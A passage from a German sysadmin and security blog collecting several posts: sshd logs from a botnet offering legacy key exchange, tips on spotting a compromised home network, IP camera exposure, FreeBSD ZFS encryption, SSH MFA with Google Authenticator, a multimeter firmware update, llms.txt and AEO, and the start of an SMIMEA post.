Zweitens scheint da ein Botnetz mit recht alter ssh Implementierung unterwegs zu sein. Oder es sucht halt speziell alte SSH-Server? Auf IoT Geräte mit alter Firmware tippe ich weniger, denn von diesen kommt ebenfalls etwas von Cloudanbietern. Bei denen unterstelle ich einfach mal, keine alten IoT Geräte im Einsatz zu haben, die infiziert sind. Naja... Oder es wird halt nach genau solchen Geräten gesucht. Warum alt? Weil ich so etwas in den Logs finde:


```generic
Apr  8 10:35:58 YOURMOM sshd[43201]: reverse mapping checking getaddrinfo for 4.3.2.1.serverdedicati.mum.your [1.2.3.4] failed.
Apr  8 10:35:58 YOURMOM sshd[43201]: Did not receive identification string from 1.2.3.4 port 34244
Apr  8 10:36:22 YOURMOM sshd[43202]: reverse mapping checking getaddrinfo for 4.3.2.1.serverdedicati.mum.your [1.2.3.4] failed.
Apr  8 10:36:22 YOURMOM sshd[43202]: Unable to negotiate with 1.2.3.4 port 36160: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
Apr  8 10:36:42 YOURMOM sshd[43204]: reverse mapping checking getaddrinfo for 4.3.2.1.serverdedicati.mum.your [1.2.3.4] failed.
Apr  8 10:36:42 YOURMOM sshd[43204]: Unable to negotiate with 1.2.3.4 port 39556: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
```


Wie ist das bei euch?


---


## 34. Ist mein Netzwerk kompromittiert? Warum das kaum jemand merkt

**Veröffentlicht:** 2025-12-19
**Permalink:** https://www.kernel-error.de/2025/12/19/ist-mein-netzwerk-kompromittiert-warum-das-kaum-jemand-merkt/
**Description:** Wie erkennt man als Privatanwender kompromittierte Systeme im eigenen Netzwerk? Warum Firewalls, Virenscanner und IDS oft trügerisch sind.

Ich habe ja bereits etwas zum Thema [IoT-Geräte](https://www.kernel-error.de/2025/11/17/iot-geraete-als-einfallstor-warum-kameras-co-haeufiger-kapert-werden-als-viele-denken/) geschrieben und warum diese oft deutlich schneller gehijackt werden, als man vielleicht erwartet.


Aber woher weiß man nun als normaler Anwender, ob zu Hause oder im eigenen Netzwerk etwas sein Unwesen treibt?
Nun ja; das ist leider überhaupt nicht so einfach.


[[Bild: Symbolische Darstellung eines kompromittierten Netzwerks mit Warnhinweisen, IoT-Kamera und verdächtigem Datenverkehr.](https://www.kernel-error.de/wp-content/uploads/2025/12/netzwerk-kompromitiert.png)](https://www.kernel-error.de/wp-content/uploads/2025/12/netzwerk-kompromitiert.png)


Klar, man kann sich ganz tolle [IPS](https://de.wikipedia.org/wiki/Intrusion_Prevention_System) oder [IDS](https://de.wikipedia.org/wiki/Intrusion_Detection_System) aufbauen. Es gibt dafür auch Open-Source-Systeme; [Snort](https://de.wikipedia.org/wiki/Snort) fällt mir da als einer der älteren Vertreter als erstes ein.


Aber das alles ist nichts für den normalen Anwender oder den Privathaushalt. Dann gibt es noch ganz furchtbar viele Schlangenölanbieter mit ihrer „Sicherheitssoftware“ für Windows, Android und Co. Klar, man kann dort Firewall, Virenscanner usw. installieren. Aber hilft das wirklich? Jein, würde ich dazu sagen.


Ist man auf einem aktuellen Patchstand, sollten zumindest die bekannten Löcher geschlossen sein. Dann bleiben fast nur noch [Zero-Day-Lücken](https://de.wikipedia.org/wiki/Sicherheitsl%C3%BCcke#Zero-Day) Ein Virenfilter kennt diese in der Regel auch nicht und lässt so etwas dann schlicht durch.


Eine Firewall-Lösung kann zumindest erkennen, ob plötzlich ungewöhnlicher Traffic unterwegs ist oder ob versehentlich gestartete Dienste nach außen offen stehen. Nur steht und fällt das Ganze oft genau in dem Moment, in dem der Anwender nach einer Entscheidung gefragt wird.


Sicherheitssoftware muss naturgemäß sehr tief im Betriebssystem eingebettet werden. Hat diese Sicherheitssoftware dann selbst Sicherheitslücken, was deutlich häufiger vorkommt, als man zunächst glauben möchte, öffnet man im Zweifel die eigene Infrastruktur über genau die Software, die das eigentlich verhindern soll. Vertraut mir da bitte einfach, wenn ich sage, dass ich das schon sehr oft gesehen habe. Zudem installiert sich so eine Sicherheitssoftware oft nicht einfach auf einer Netzwerkkamera ;-)


Der beste Schutz sind, meiner Meinung nach, noch immer gepflegte Systeme, gute Zugangsdaten und das nötige Misstrauen. Wie kam ich jetzt darauf? Ach richtig; wie findet man eigentlich heraus, ob es überhaupt ein Problem gibt?


Klar, man kann abwarten. Irgendwann merkt man es sicher; spätestens dann, wenn die Polizei mit einer Hausdurchsuchung vor der Tür steht und wissen möchte, was man denn da so alles im Internet verteilt oder angreift.


Eine wirklich gute Lösung habe ich da leider auch nicht. Am ehesten noch Dienste wie [GreyNoise (https://check.labs.greynoise.io/)](https://check.labs.greynoise.io/). Dort kann man beispielsweise gegen AbuseDB prüfen, ob die eigene IPv4-Adresse irgendwo im Internet „auffällig“ geworden ist; etwa durch Portscans, Spam-Versand oder Malware-Traffic. Ebenfalls kann man hin und wieder bei [Have I Been Pwned (https://haveibeenpwned.com/)](https://haveibeenpwned.com/) vorbei schauen, um zu prüfen, ob die eignen Zugangsdaten irgendwo gefunden wurden.


Im Allgemeinen ist aber auch das nur ein Indiz. IP-Adressen wechseln; vor allem bei privaten Anschlüssen. Die eigene IP muss erst auffallen, gemeldet werden und so weiter.


Aber hey; vielleicht hat ja noch jemand einen besseren Tipp?


---


## 35. IP-Kameras: Risiken, Portfreigaben (RTSP/HTTP) & Checks

**Veröffentlicht:** 2025-10-30
**Permalink:** https://www.kernel-error.de/2025/10/30/ip-kameras-risiken-portfreigaben-rtsp-http-checks/
**Description:** Praktische Hinweise zu offenen IP-Kameras: Risiken durch RTSP/HTTP, UPnP/DNAT-Fallen und wie du mit einem kleinen Python-Tool deine eigene Kamera prüfst.

Moin, ich mag noch einmal etwas zu IP-Überwachungskameras schreiben. Ihr erinnert euch vielleicht an meinen letzten [Beitrag zu diesem Thema KLICK](https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/).


[Bild: article image of ip cameras](https://www.kernel-error.de/wp-content/uploads/2025/10/ip-kameras.png)


Dort habe ich mich speziell auf den RTSP-Port bezogen und auch [https://www.shodan](https://www.shodan.io/)[.](https://www.shodan.io/)[io/](https://www.shodan.io/) als Beispiel genannt. Shodan scannt unaufhörlich IPv4-Adressen (bei IPv6 wäre ein flächendeckender Scan kaum praktikabel) und stellt seine Ergebnisse öffentlich zur Verfügung. Sicherheitsforscher — aber leider auch Menschen mit schlechten Absichten — bedienen sich solcher Dienste, um Informationen über Systeme hinter einer IPv4-Adresse zu bekommen, ganz ohne selbst groß zu scannen oder zu testen. Grob gesagt: Google für „Hacker“.


Dass IP-Kameras — vor allem günstige oder ältere Modelle — schnell ein [Sicherheitsrisiko](https://www.kernel-error.de/2025/11/17/iot-geraete-als-einfallstor-warum-kameras-co-haeufiger-kapert-werden-als-viele-denken/) darstellen, habe ich schon erwähnt; wer das hier liest, weiß es in der Regel auch. Automatische Portfreigaben in Kombination mit solchen Kameras sind oft problematisch. Wenn ich über so etwas stolpere und ohne großen Aufwand den Betreiber ausfindig machen kann, versuche ich jeweils per E-Mail oder einem kurzen Anruf zu warnen. Das stößt mal auf offene Ohren, manchmal wird es komplett ignoriert (manchmal mit Abschalten des öffentlichen Zugriffs, manchmal ohne); selten kommt die Antwort „Anzeige ist raus“.


Kameras filmen oft sensible Bereiche, sowohl innen als auch außen. Das kann viele Probleme mit sich bringen, wenn diese Informationen einfach öffentlich zugänglich sind. Anders als bei Datei-Freigaben scheint bei Kamerastreams noch nicht die nötige Awareness vorhanden zu sein — genau deshalb informiere ich hier und weise darauf hin.


Es ist nicht nur der RTSP-Stream, der sich häufig per UPnP seinen Weg nach draußen „tunnelt“. Oft werden auch per DNAT / Portfreigabe / Portweiterleitung die Webinterfaces der Kameras direkt aus dem Internet erreichbar gemacht. Im schlimmsten Fall kann man also mit dem Browser direkt auf Webinterface und Stream zugreifen. Viele sichern den Zugriff mit der kameraeigenen Anmeldung — das ist schon mal ein Anfang. Leider reicht das nicht immer: Bei manchen Modellen sind Funktionen wie Snapshots oder einzelne JPEG-Endpoints weiterhin ohne Anmeldung erreichbar. Das ist auf den ersten Blick nicht sichtbar — kennt man aber die entsprechende URL, genügt ein Browseraufruf und man sieht wieder alles.


Deshalb gebe ich immer den Rat: Zugriff lieber hinter ein VPN legen und niemals direkt offen ins Internet. Gebt jedem Gerät und jedem Dienst, den ihr aus dem Internet erreichbar macht, mindestens so viel Vertrauen wie eurer Haustür. Und prüft regelmäßig, ob dieses Vertrauen noch gerechtfertigt ist.


Wer selbst prüfen möchte, ob die EIGENE Kamera trotz eingerichteter Anmeldung noch irgendwie ohne Login zugänglich ist, kann mein kurzes Python-Tool nutzen: [https://github.com/Kernel-Error/cam_probe](https://github.com/Kernel-Error/cam_probe)


Denkt also bitte einmal darüber nach, ob ihr allem, was ihr direkt mit dem Internet verbunden habt, mindestens das gleiche Vertrauen entgegenbringt wie eurer Haustür oder Wohnungstür. Denkt an die *security.txt* und daran, dass, wenn sich jemand die Mühe macht, euch über ein solches Problem zu informieren, diese Person damit wahrscheinlich den größten Aufwand und auch das größte Risiko für sich selbst aufnimmt – nur, um euch auf ein Problem hinzuweisen.
Einen solchen Fund zu ignorieren, zu verkaufen oder sonst wie auszunutzen, ist deutlich einfacher, als den Betreiber zu informieren.


Natürlich gibt es auch hier schwarze Schafe, aber die Vertrauenswürdigkeit einer solchen Nachricht lässt sich meist schnell per Google oder auch ChatGPT prüfen.
Frage? Dann fragen. :)


---


## 36. FreeBSD: Native ZFS Encryption einrichten und nutzen

**Veröffentlicht:** 2019-04-19
**Permalink:** https://www.kernel-error.de/2019/04/19/freebsd-und-native-zfs-encryption/
**Description:** Erfahre, wie du die native ZFS Encryption auf FreeBSD einrichtest und nutzt, um deine Daten sicher zu verschlüsseln. Schritt-für-Schritt-Anleitung für...

FreeBSD portierte bisher seinen ZFS Zweig von Illumos. Dieses wechselt nun zu [ZFS on Linux](https://www.golem.de/news/dateisystem-freebsd-will-fuer-zfs-auf-code-von-linux-port-wechseln-1812-138351.html). Was es für mich so spannend macht ist der Verschlüsselungssupport. ZFS on Linux bietet diesen bereits und somit wird er wohl auch bald für FreeBSD zur Verfügung stehen :-)


Gerade eben lese ich eine E-Mail von Kris Moore auf der [FreeBSD-Current Mailingliste](https://docs.freebsd.org/cgi/getmsg.cgi?fetch=57310+0+current/freebsd-fs). In der E-Mail werden zwei ISO Images genannt welche es ermöglichen FreeBSD mit ZFS on Linux zu testen. \o/ Natürlich ist es nicht die Version welche am Ende "drin" sein wird und es ist nichts was man auch nur im Ansatz produktiv einsetzten kann/sollte. ABER testen soll man es ja und ich möchte unbedingt mal die Verschlüsselung sehen!


Daher habe mich mir die gepatchte FreeBSD13 Version einmal herunter geladen: [https://pkg.trueos.org/iso/freebsd13-zol/FreeBSD13-ZoL-20190418-x64.iso](https://pkg.trueos.org/iso/freebsd13-zol/FreeBSD13-ZoL-20190418-x64.iso)


[Zuletzt habe ich den Einsatz unter Solaris beschrieben](https://www.kernel-error.de/2019/04/19/freebsd-und-native-zfs-encryption/). Nun also einmal ganz kurz und knapp in FreeBSD :-)


Erstellen eines neuen Datasets:


```generic
root@freebsd13-zol:~ # zfs create -o encryption=aes-256-gcm -o keyformat=passphrase usbpool/test01
Enter passphrase:
Re-enter passphrase:
```


Als Art der Verschlüsselung habe ich hier aes-256-gcm gewählt und der Schlüssel soll als passphrase von mir eingegeben werden. Nachdem ich mein passphrase eingegeben habe wird das neue Dataset erstellt und direkt für mich ein gehangen, wie man es gewohnt ist:


```generic
root@freebsd13-zol:~ # zfs list usbpool/test01
NAME             USED  AVAIL     REFER  MOUNTPOINT
usbpool/test01    99K   899G       99K  /usbpool/test01
root@freebsd13-zol:~ # zfs get encryption usbpool/test01
NAME            PROPERTY    VALUE        SOURCE
usbpool/test01  encryption  aes-256-gcm  -
root@freebsd13-zol:~ # zfs get mounted usbpool/test01
NAME            PROPERTY  VALUE    SOURCE
usbpool/test01  mounted   yes      -
```


Da ein passphrase von mir jeweils eingegeben werden muss, kann dieses Dataset bei einem reboot oder impot/export nicht automatisch eingehangen werden.


```generic
root@freebsd13-zol:~ # zpool export usbpool
root@freebsd13-zol:~ # zpool import usbpool
root@freebsd13-zol:~ # zfs get mounted usbpool/test01
NAME            PROPERTY  VALUE    SOURCE
usbpool/test01  mounted   no       -
```


Daher muss ich dieses von Hand anstoßen.


```generic
root@freebsd13-zol:~ # zfs mount -l usbpool/test01
Enter passphrase for 'usbpool/test01':
root@freebsd13-zol:~ # zfs get mounted usbpool/test01
NAME            PROPERTY  VALUE    SOURCE
usbpool/test01  mounted   yes      -
```


Genau so habe ich es mir gewünscht. Schnell, einfach und unkompliziert. Ob es ebenfalls über Snapshots send/recv und mit Keyfiles usw. so arbeitet wie ich es mir wünsche, werde ich nun probieren können!


Ein verschlüsseltes Dataset anlegen zu können, erfreut mich aber jetzt schon sehr!


Fragen? Dann fragen :)


---


Update


Um Fragen zu beantworten. Ja, die [Userland Tools](https://www.freshports.org/sysutils/zol/) und das [Kernelmodul](https://www.freshports.org/sysutils/zol-kmod/) sind bereits in den Ports. Will man es auf einem FreeBSD 12.x RELEASE bauen funktioniert dieses nicht:


```generic
root@test:/usr/ports/sysutils/zol-kmod # make install clean
===>  zol-kmod-2019041800 needs FreeBSD 12/13 with AES-CCM support.
*** Error code 1

Stop.
make: stopped in /usr/ports/sysutils/zol-kmod
```


Es funktioniert sauber mit FreeBSD 13 CURRENT und dem FreeBSD 12 STABLE. CURRENT ist bei FreeBSD immer die nächste Version. Die RELEASE Versionen sind die stabilen Versionen welche auch nur noch Security und Bugfixes bekommen. Die STABLE Verstion bekommt zudem noch "Veränderungen" mit. Ganz grob kann man es also mit Stable, Testing, Unstable bei Debian vergleichen :-)


Der AES-CCM Support ist also nur in FreeBSD 13 CURRENT und in FreeBSD 12 STABLE im Kernel aktiviert. Man kann also nun zum Testen auf die 13 wechseln, auf die 12 Stable gehen, auf das nächste RELEASE warten, seinen Kernel neu bauen oder eines der ISOs oben probieren. Jetzt ist auch klar, warum ich die ISOs so empfehlenswert fand/finde :-D Vor allem da das FreeBSD 12 ISO das FreeBSD 12.0-RELEASE-p3 ist und man so schon seine Produktivumgebung testen kann!


---


## 37. FreeBSD SSH-Server absichern: MFA mit Google Authenticator einrichten

**Veröffentlicht:** 2024-03-29
**Permalink:** https://www.kernel-error.de/2024/03/29/freebsd-ssh-server-mit-mfa-2fa/
**Description:** Anleitung zur Einrichtung von Multi-Faktor-Authentifizierung auf FreeBSD-SSH-Servern mit Google Authenticator. Erhöhe die Sicherheit deines Systems.

Dass man eigentlich keinen reinen Kennwort-Login für seine Anmeldung an einem SSH-Server haben möchte, ist sicherlich bei fast allen angekommen. Kennwörter lassen sich einfacher mittels eines Brute-Force-Angriffes herausfinden. Ebenso gehen diese auch mal verloren. SSH-Keys werden die meisten ebenfalls bereits aufseiten des Clients mit einem zweiten Faktor geschützt haben. Dies kann ein MFA-Token sein oder einfach eine Passphrase.


Hin und wieder lässt es sich aber nicht vermeiden, dass man seinen Login nur mit einer einfachen Kombination aus Benutzername und Kennwort sichert. Um dieses dennoch etwas aufzuwerten, lässt sich dieses ebenfalls mit MFA ausstatten. In diesem kurzen Beispiel geht es dabei um einen SSH-Server auf einem FreeBSD-System, welches nach der Authentifizierung mittels Benutzername/Kennwort noch nach einem Auth-Code vom Google Authenticator fragt.


Clientseitig ist eigentlich nichts weiter zu beachten. Auf Serverseite muss das Paket **pam_google_authenticator** installiert werden:


```bash
pkg install pam_google_authenticator
```


Ist die Installation abgeschlossen, müssen wir nun unsere PAM-Konfiguration für den SSHD-Password-Login erweitern. Oh, ja… Auf demselben Weg lässt sich dieses ebenfalls für den normalen Login an der Konsole, für su, ftp usw. einbinden. Selbstverständlich ebenfalls für den Login per SSH-Keys. Wir bleiben aber hier nun beim Login mit User/Pass. Meine **/etc/pam.d/sshd** sieht damit wie folgt aus:


```raw
#
#
# PAM configuration for the "sshd" service
#

# auth
#auth		sufficient	pam_krb5.so		no_warn try_first_pass
#auth		sufficient	pam_ssh.so		no_warn try_first_pass
auth		required	pam_unix.so		no_warn try_first_pass
auth            required        /usr/local/lib/pam_google_authenticator.so

# account
account		required	pam_nologin.so
#account	required	pam_krb5.so
account		required	pam_login_access.so
account		required	pam_unix.so

# session
#session	optional	pam_ssh.so		want_agent
session		required	pam_permit.so

# password
#password	sufficient	pam_krb5.so		no_warn try_first_pass
password	required	pam_unix.so		no_warn try_first_pass
```


Ebenfalls muss die folgende Option in der **/etc/ssh/sshd_config** aktiviert sein:


```raw
ChallengeResponseAuthentication yes
```


Das war es auch schon fast. Wenn man nun auf seinem Smartphone noch schnell den [Google Authenticator](https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=de&gl=US) installiert, können wir schon damit beginnen, den zweiten Faktor zu erstellen. Dafür einfach mit dem gewünschten Nutzer in dessen Home-Verzeichnis: "**cd ~**" den **google-authenticator** aufrufen und den Anweisungen folgen:


Dieses nur noch mit der Authenticator-App am Smartphone scannen, den Code einmal eingeben und schon wird man bei jedem Kennwort-Login nach seinem aktuellen Code gefragt.


Oh, sehr ähnlich ist die Einrichtung unter Linux :-)


---


## 38. OWON XDM1041: Firmware V4.7.0 (20220913) – Update-Dateien und Vorgehen

**Veröffentlicht:** 2026-01-08
**Permalink:** https://www.kernel-error.de/2026/01/08/owon-xdm1041-firmware-v4-7-0-20220913-update-dateien-und-vorgehen/
**Description:** Firmware-Update für das OWON XDM1041 Multimeter: Download der aktuellen Version V4.7.0, Inhalt des Firmware-Pakets und Erfahrungen beim Update.

Ich nutze das [digitale Multimeter OWON XDM1041](https://s.click.aliexpress.com/e/_c4OR0ugT).
Preis-Leistung passt für mich sehr gut. Das Gerät lässt sich per USB mit dem PC verbinden, Messwerte können ausgelesen und aufgezeichnet werden. Für meine Elektronik-Projekte an der Werkbank bringt es alles mit, was ich brauche.


[[Bild: Image of OWON XDM1041 digital multimeter with firmware version V4.7.0 (20220913)](https://www.kernel-error.de/wp-content/uploads/2026/01/OWON-XDM1041-digital-multimeter-firmware-update.jpg)](https://www.kernel-error.de/wp-content/uploads/2026/01/OWON-XDM1041-digital-multimeter-firmware-update.jpg)


Die Herstellersoftware funktioniert, ist aber klar auf Windows fokussiert. Unter Linux nutze ich stattdessen RustyMeter, eine saubere Alternative: [https://github.com/markusdd/rusty_meter](https://github.com/markusdd/rusty_meter)


Mein [XDM1041](https://s.click.aliexpress.com/e/_c4OR0ugT) lief zunächst mit der Firmware V3.3.0. Auf der [OWON-Webseite](https://www.owon.com) findet sich aktuell jedoch kein Firmware-Download für dieses Gerät. Nach Kontakt mit dem Support per E-Mail hat mir OWON freundlicherweise die aktuellste Firmware (Stand: 08.01.2026) zur Verfügung gestellt: XDM10412212508.zip (MD5 509766ba23eb008f32f60a82cddca08b)


Das ZIP-Archiv enthält:


- eine [PDF-Anleitung](https://www.kernel-error.de/download/upgrade-stepsXDM10412212508.pdf)


- USB-Treiber für Windows


- die Software *DS Wave* zum Einspielen der Firmware


- die beiden Firmware-Dateien:


`OS--XDM1041_OS_V4.7.0_20220913.bin`


- `TX-2212508.bin`


Das Firmware-Update selbst ist unkompliziert und funktioniert exakt wie in der Anleitung beschrieben. Nach dem Update läuft das Gerät mit Firmware V4.7.0, im Display angezeigt als 20220913.


Der ursprüngliche Download von OWON war leider sehr langsam, brach mehrfach ab und erzeugte wiederholt TLS-Fehler. Ob das an Routing-Problemen oder an der sprichwörtlichen „[chinesischen Mauer](https://de.wikipedia.org/wiki/Internetzensur_in_der_Volksrepublik_China)“ liegt, lässt sich schwer sagen.


Natürlich habe ich ebenfalls gefragt, ob ich das Firmware Update hier zum Download anbieten kann. Das geht aber leider nicht, denn es scheint jeweils für gewisse Geräte unterschiedliche zu geben:


```generic
Dear,
We can’t share the firmware updates as each one is exclusive to a specific device and not cross-compatible.
```


Ihr müsst also jeweils selbst auf den Support zugehen, E-Mail hat für mich gut funktioniert. Ich habe noch nach einem Kontakt über WeChat gefragt und nach einem Changelog. Sollte ich etwas bekommen, ergänze ich es hier.


Viel Erfolg beim Firmware-Update.


---


## 39. Von SEO zu AEO: Warum llms.txt, JSON-LD und Answer Engines das Web verändern

**Veröffentlicht:** 2026-01-01
**Permalink:** https://www.kernel-error.de/2026/01/01/von-seo-zu-aeo-warum-llms-txt-json-ld-und-answer-engines-das-web-veraendern/
**Description:** SEO verliert an Bedeutung. AEO, llms.txt und strukturierte Daten bestimmen, wie AI Webseiten versteht. Technische Einordnung, Beispiele und Praxis.

In den letzten Jahren war SEO, also *Search Engine Optimization*, für viele Webseitenbetreiber unglaublich wichtig. Man möchte schließlich, dass Suchmaschinen wie Google, Bing oder Yahoo Besucher auf die eigene Webseite bringen. Dafür will man möglichst weit oben in den Suchergebnissen auftauchen. Hat man viele Besucher, kann man Produkte besser verkaufen, Werbeflächen teurer anbieten oder mehr Dienstleistungen absetzen. Das ist nicht neu.


[[Bild: Schematische Darstellung des Übergangs von Suchmaschinen-SEO zu AI-basierten Answer Engines mit llms.txt und JSON-LD.](https://www.kernel-error.de/wp-content/uploads/2026/02/seo-aeo-1024x683.png)](https://www.kernel-error.de/wp-content/uploads/2026/02/seo-aeo.png)


Manche erinnern sich vielleicht noch an die Gelben Seiten. Dort standen bestimmte Unternehmen in ihrer Branche ganz oben – nicht, weil sie besonders gut waren, sondern weil das Verzeichnis alphabetisch sortiert war. Wer mit „AAA“ anfing, war automatisch sichtbar. SEO ist im Grunde nichts anderes, nur technisch komplexer.


Über die Jahre ist SEO damit Stück für Stück zu einem eigenen Geschäftsfeld geworden. Ganze Agenturen leben davon, Suchmaschinen zufriedenzustellen. Diese Logik gerät gerade ins Wanken. AI verändert das Spiel spürbar.


Jeder von uns hat vermutlich schon bemerkt, dass bei vielen Suchmaschinen inzwischen **zuerst eine AI-Antwort erscheint**. Viele Fragen werden gar nicht mehr klassisch „gesucht“, sondern direkt in ein LLM – ein *Large Language Model* – eingegeben. Fragen wie:
„Wer war Bundespräsident in Deutschland zur Wiedervereinigung?“ oder
„Bester Gebrauchtwagenhändler in der Nähe von Bonn?“
werden sofort beantwortet.


Online-Suche entwickelt sich immer mehr zu einer Frage-Antwort-Interaktion mit einer AI. Es kommt damit weniger darauf an, ob man der *Google First Hit* ist, sondern darauf, **ob man aus Sicht der AI die beste Antwort liefert**.


Und genau hier verschiebt sich der Fokus.


Damit eine AI eine passende Antwort geben kann, muss der Inhalt **maschinenverständlich** aufbereitet sein. Lange, erklärende Fließtexte – wie dieser hier – sind dafür eher ungeeignet. Für AIs funktionieren klar strukturierte Informationen deutlich besser. FAQ-Formate, Frage-Antwort-Paare, saubere Metadaten.


Dinge wie **JSON-LD** bringen Struktur hinein. Autoren, Inhalte, Organisationen und Beziehungen lassen sich eindeutig beschreiben und verknüpfen. Dazu kommen neue Konzepte wie `llms.txt` oder `llms-full.txt`. Diese Dateien enthalten **keinen SEO-Text**, sondern eher eine Art Bedienungsanleitung für Maschinen:
Was ist diese Webseite?
Wie ist sie aufgebaut?
Welche Inhalte sind relevant?
Was darf genutzt werden – und was nicht?


Zusammen mit strukturierten Daten bildet das eine solide Basis, damit AI-Systeme Webseiten einordnen, bewerten und korrekt referenzieren können.


Nun ein kurzer, aber wichtiger Exkurs.


AIs müssen trainiert werden. Dieses Training passiert auf großen Datensätzen, den sogenannten Trainingsdaten. Wird eine AI neu trainiert, greift sie oft wieder auf **das gleiche Datenmaterial** zurück. Das ist nicht zwangsläufig aktuell.


Fragt einfach einmal eure AI des Vertrauens, von wann ihre Trainingsdaten stammen. Die freie Version von ChatGPT sagt mir aktuell, dass sie auf Daten bis Oktober 2024 basiert. Das bedeutet ganz grob: Alles danach ist unbekannt.


Fragt man also, wer aktuell Bundeskanzler von Deutschland ist, bekommt man Olaf Scholz als Antwort. Gleichzeitig „weiß“ die AI aber, dass wir inzwischen 2026 haben und dass sich theoretisch etwas geändert haben könnte. Ohne Zugriff auf aktuelle Informationen bleibt sie trotzdem bei dem alten Stand.


Freie Modelle können meist **keine Live-Recherche** durchführen. Bezahlte Modelle hingegen kombinieren ihr gelerntes Wissen zunehmend mit eigenen Online-Suchen. Sie gleichen Informationen ab, aktualisieren und korrigieren.


Das klingt logisch – ist aber teuer.
Online-Recherche kostet Zeit, Rechenleistung und Geld. Genau deshalb findet man solche Funktionen fast ausschließlich in kostenpflichtigen Angeboten. Betreiber müssen ständig den Sweet Spot zwischen Antwortqualität, Antwortzeit und Gewinnmaximierung finden.


Und genau hier wird es interessant.


Wenn eine AI Informationen **bereits strukturiert kennt**, wenn Beziehungen und Metadaten schon im Trainingsmaterial vorhanden sind, muss sie deutlich weniger nachrecherchieren. Inhalte lassen sich schneller bewerten, aktualisieren und in Antworten einbauen.


An dieser Stelle kommen wir zu **AEO – Answer Engine Optimization**.


AEO ist im Grunde die Weiterentwicklung von SEO für AI-basierte Antwortsysteme. Statt Suchmaschinen zu optimieren, optimiert man Inhalte für Antwortmaschinen. In diesem Zusammenhang wird seit etwa zwei Jahren verstärkt über `llms.txt` und `llms-full.txt` gesprochen.


Diese Dateien sind **nicht für Menschen gedacht**. Sie sind nicht für Suchmaschinen optimiert und sollen auch nicht schön sein. Sie sind rein maschinell. Zusammen mit JSON-LD liefern sie AI-Systemen genau das, was sie brauchen: Struktur, Kontext, Beziehungen und Einordnung.


Ein wichtiger Punkt dabei: **llms.txt ersetzt keine Inhalte**. Sie erklärt sie.


Wo liegen diese Dateien nun?


Ganz pragmatisch:
Im Root der Webseite.


Also zum Beispiel:


- [https://www.kernel-error.de/llms.txt](https://www.kernel-error.de/llms.txt)


- [https://www.kernel-error.de/llms-full.txt](https://www.kernel-error.de/llms-full.txt)


Alternativ – technisch ebenfalls sauber – unter:


- /.well-known/llms.txt


Beides funktioniert. Wichtig ist nur, dass der Pfad stabil, öffentlich erreichbar und nicht blockiert ist.


Zusätzlich kann man diese Dateien auch **extern bekannt machen**. Es gibt inzwischen erste [Verzeichnisse und Hubs](https://llmstxthub.com/websites/kernel-error-llms-txt), die solche Dateien sammeln und auffindbar machen. Dort geht es weniger um Ranking, sondern um Auffindbarkeit für Systeme, die gezielt nach strukturierten Quellen suchen.


Ob das langfristig relevant bleibt, weiß niemand. Aber auch hier gilt: Sichtbarkeit schadet nicht.


Eine weitere Frage taucht fast immer auf:
Kann man `llms.txt` über die `robots.txt` einbinden?


Kurzfassung: Ja – aber nicht als Zwang, sondern als Hinweis.


Die `robots.txt` ist historisch für Crawler gedacht. Sie regelt Zugriffe, nicht Metadaten. Trotzdem hat sie sich über die Jahre zu einer Art maschineller Einstiegspunkt entwickelt. Dinge wie `Sitemap:` waren auch einmal nur Konvention.


Ein Beispiel:


```generic
User-agent: *
Allow: /

Sitemap: https://www.example.org/sitemap.xml
LLMS: https://www.example.org/llms.txt
LLMS-Full: https://www.example.org/llms-full.txt
```


Diese Direktiven sind **kein Standard**. Google ignoriert sie. Bing vermutlich auch. Aber experimentelle Crawler, AI-Agenten oder eigene Indexer können sie sehr einfach auswerten.


Oh, und genau das erinnert mich an frühere Zeiten.
Interne Crawler, Security-Scanner, selbstgeschriebene Discovery-Tools – all das begann oft mit nicht standardisierten Hinweisen. Erst ignoriert, später übernommen, irgendwann vielleicht formalisiert. Oder auch nicht. Das Internet ist in dieser Hinsicht erstaunlich pragmatisch.


Wichtig ist nur, realistisch zu bleiben:


- `robots.txt` ist keine Zugriffskontrolle


- sie garantiert keine Nutzung durch eine AI


- sie ersetzt nicht die Datei im Root


Aber sie ist ein zusätzliches, maschinenlesbares Signal – und kostet praktisch nichts.


Wenn man das alles zusammennimmt, zeichnet sich ein klares Bild ab. Werbung wandert langsam von Webseiten in LLM-Chats. Webseiten entwickeln sich weg von langen Erklärungstexten hin zu strukturierten Wissensbausteinen. SEO rückt in den Hintergrund. Klassische Blogs – auch dieser hier – werden langfristig seltener werden.


Ist das schlimm?
Nein.


Es ist einfach der nächste logische Schritt. Als ich angefangen habe, gab es BTX, Usenet, Foren und Chatrooms. Das meiste davon ist verschwunden. Für viele Menschen besteht das Internet heute aus YouTube, Instagram, Meta, X oder TikTok – zentralisierte, leicht konsumierbare Dienste einzelner Unternehmen.


So weit, dass man sich bei manchen Diensten nicht einmal mehr mit einer „nicht Google“-E-Mail-Adresse registrieren kann. DeepSeek ist ein Beispiel. Die McDonald’s-App ein anderes.


Veränderung an sich ist nichts Schlechtes.
Neu ist nur die Geschwindigkeit. Schaut man 100 Jahre zurück und betrachtet, was in welchen Zeiträumen passiert ist, wird schnell klar: In den letzten 20 Jahren ist in der IT unfassbar viel passiert. Und es wird nicht langsamer.


Wenn ihr euch also das nächste Mal mit einer Agentur über euren Webauftritt unterhaltet und jemand von SEO spricht, fragt ruhig nach einer `llms.txt`. Oder werft den Begriff AEO in den Raum.


Ich bin gespannt, was passiert.


---


## 40. S/MIME-Zertifikat per DNS veröffentlichen – SMIMEA

**Veröffentlicht:** 2025-03-14
**Permalink:** https://www.kernel-error.de/2025/03/14/s-mime-zertifikat-erneuern-per-dns-veroeffentlichen-automatisiert-mit-python/
**Description:** S/MIME-Zertifikat im DNS veröffentlichen — SMIMEA Resource Record für automatische Zertifikats-Discovery und E-Mail-Verschlüsselung einrichten.

[Bild: smimea S/MIME Blog Image](https://www.kernel-error.de/wp-content/uploads/2025/03/smimea.webp)


